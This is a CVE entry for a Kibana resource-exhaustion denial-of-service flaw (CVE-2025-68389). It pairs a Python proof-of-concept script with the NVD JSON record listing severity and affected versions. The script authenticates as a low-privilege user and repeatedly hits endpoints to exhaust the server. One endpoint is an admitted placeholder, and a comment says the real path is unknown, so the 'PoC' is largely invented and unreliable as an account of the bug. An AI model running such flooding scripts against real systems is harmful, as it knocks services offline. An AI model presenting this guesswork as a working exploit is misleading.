CVE-2025-68389

# CVE-2025-68389 PoC - Kibana Resource Exhaustion # Requires low-privilege authenticated user import requests import time TARGET = "https://kibana-host:5601" USERNAME = "low-privilege-user" PASSWORD = "password" # Authenticate to get session session = requests.Session() login_data = {"username": USERNAME, "password": PASSWORD} auth_resp = session.post(f"{TARGET}/api/security/v1/login", json=login_data) if auth_resp.status_code != 200: print(f"Authentication failed: {auth_resp.status_code}") exit(1) print("Authenticated successfully") # Crafted request that triggers excessive resource allocation # The exact endpoint and parameters depend on the vulnerable code path malicious_endpoints = [ "/api/some/vulnerable/endpoint?large_param=value", "/api/console/proxy?path=/_search&method=POST", ] print("Sending crafted requests to exhaust resources...") for i in range(100): for endpoint in malicious_endpoints: try: resp = session.get(f"{TARGET}{endpoint}", timeout=5) print(f"Request {i}: {endpoint} - Status: {resp.status_code}") except requests.exceptions.Timeout: print(f"Request {i}: Timeout - Service may be exhausted") time.sleep(0.1) print("PoC execution completed")

{"cve": {"id": "CVE-2025-68389", "sourceIdentifier": "[email protected]", "published": "2025-12-18T23:15:49.443", "lastModified": "2025-12-23T19:07:51.247", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Allocation of Resources Without Limits or Throttling (CWE-770) in Kibana can allow a low-privileged authenticated user to cause Excessive Allocation (CAPEC-130) of computing resources and a denial of service (DoS) of the Kibana process via a crafted HTTP request."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0", "versionEndIncluding": "7.17.29", "matchCriteriaId": "8820B4BC-0DAB-4C9B-8053-90DE2C19646E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.19.9", "matchCriteriaId": "33557C22-9E8F-420F-9570-862845627924"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndExcluding": "9.1.9", "matchCriteriaId": "EAC361A2-7443-4A76-BD9E-7284591FECA7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.2.0", "versionEndExcluding": "9.2.3", "matchCriteriaId": "34F2DE99-71FA-4E13-BE2E-4824C8471F96"}]}]}], "references": [{"url": "https://discuss.elastic.co/t/kibana-8-19-9-9-1-9-and-9-2-3-security-update-esa-2025-36/384184", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}